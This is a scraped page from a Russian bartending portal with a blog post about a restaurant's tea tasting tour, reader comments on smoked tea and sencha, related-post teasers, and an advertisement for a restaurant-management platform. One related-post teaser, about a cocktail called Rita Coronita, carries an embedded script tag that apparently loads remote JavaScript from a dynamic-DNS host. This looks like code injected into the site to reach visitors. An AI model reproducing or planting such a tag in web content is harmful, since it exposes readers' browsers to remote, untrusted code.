Регистрация/Вход ,

Блоги


Пуэр




Сегодня у нас в ресторане провели экскурсию по чаям...
Было очень интересно))например я узнала,что ферментирование - это процесс, проходящий при непосредственном участии микробов... или что есть заблуждение,что черный чай или улун являются частично или полностью ферментированными чаями,они являютя частично или полностью окисленными чаями,китайцы пользовались одним и тем же термином,описывая разные процессы...вообще много всего интересного было мною услышанно...




поделиться Опубликовать


Комментарии:


[сотрудник:4272] Игорь Протасов написал 03 ноября 2011г. в 19:10.
Оу =^_^=
Зачёт коллегам чайным пьяницам ))
На злобу дня http://www.barbook.ru/blog/497/


[сотрудник:3704] Julia Chernova написал 29 ноября 2011г. в 04:34.
))


[сотрудник:3730] Егор Егоров написал 26 октября 2011г. в 23:15.
Копченый чай я пробовал))он совсем на любителя)


[сотрудник:3704] Julia Chernova написал 29 октября 2011г. в 07:30.
Тебе понравился?какой привкус?


[сотрудник:1281] Владимир Горбунов написал 25 октября 2011г. в 20:35.
Один из представителей копченого чая- Лапсанг Сушонг. Рекомендую. С бодуна на ноги быстро ставит.


[сотрудник:3704] Julia Chernova написал 26 октября 2011г. в 05:18.
а специфический запах не мешает вставать на ноги?))))))


[сотрудник:3704] Julia Chernova написал 24 октября 2011г. в 13:15.
А пробовал ли кто-нибудь копченый чай?


[сотрудник:897] Елизавета Новинская написал 25 октября 2011г. в 00:34.
неа...что это такое??? я только сен-чу пробовала, она же сушится над водорослями или как-то так...)))


[сотрудник:3704] Julia Chernova написал 25 октября 2011г. в 06:35.
Если честно,я первый раз слышу о том,что он сушится над водорослями.может ты имеешь в виду какой-то особенный вид сен-чи?



Автор блога

Julia Chernova

Ростов-на-Дону, 28 лет.
Всего записей: 17.
написать письмо


Другие записи по теме:

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовл
Автор: Evgenia Aldashkina

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкус
Автор: Olga Sakulina

Зарегистрироваться / Войти
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Войти / Отправить анонимно
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Добрый день, дорогой друг!

Надеюсь, ты помнишь наш проект - barbook.ru
Мы много лет рассказывали о рецептах коктейлей, собирали исторические факты и старались быть информационным порталом для барменов.
Увы, мы были вынуждены свернуть это начинание из-за изменения законодательства РФ.

Сегодня мы рекомендуем тебе новый интересный проект, созданный дружеской командой энтузиастов. Это Платформа, которая даст тебе новые технологии ресторанного управления.
Передаём слово коллегам)


MOJOFORM — 
НОВОЕ УПРАВЛЕНИЕ
РЕСТОРАНАМИ
Специально для управленцев ресторанного бизнеса мы создали комплексное решение по автоматизации организационных процессов и процессов, связанных с людьми.

Особенности платформы:

— Платформа создана профессионалами ресторанного бизнеса и специально для рынка horeca.
— Управление на основе регламентов, чек-листов, нормативов работы;
— Готовые шаблонные регламенты позволяют сразу начать работу.

Что даёт пользование платформой:

— Формирование единой системы управления бизнеса;
— Полный контроль за качеством работы всех подразделений;
— Глубокая аналитика с интеграцией всех документов и платформ r-keeper, iiko;
— Помощь в расчете заработных плат с учётом эффективности сотрудников.

Для всех пользователей программы мы разработали бесплатный образовательный курс по эффективному управлению и автоматизации.

ПОДРОБНЕЕ НА НАШЕМ САЙТЕ
ru.mojoform.com
Еще больше регламентов и чек-листов в           Наша группа в Facebook
нашем канале Telegram. А также новости      
отрасли, секреты и фишки.                                  FB.COM/MOJOFORM


Где мы общаемся. Форум
сообщества ресторанных менеджеров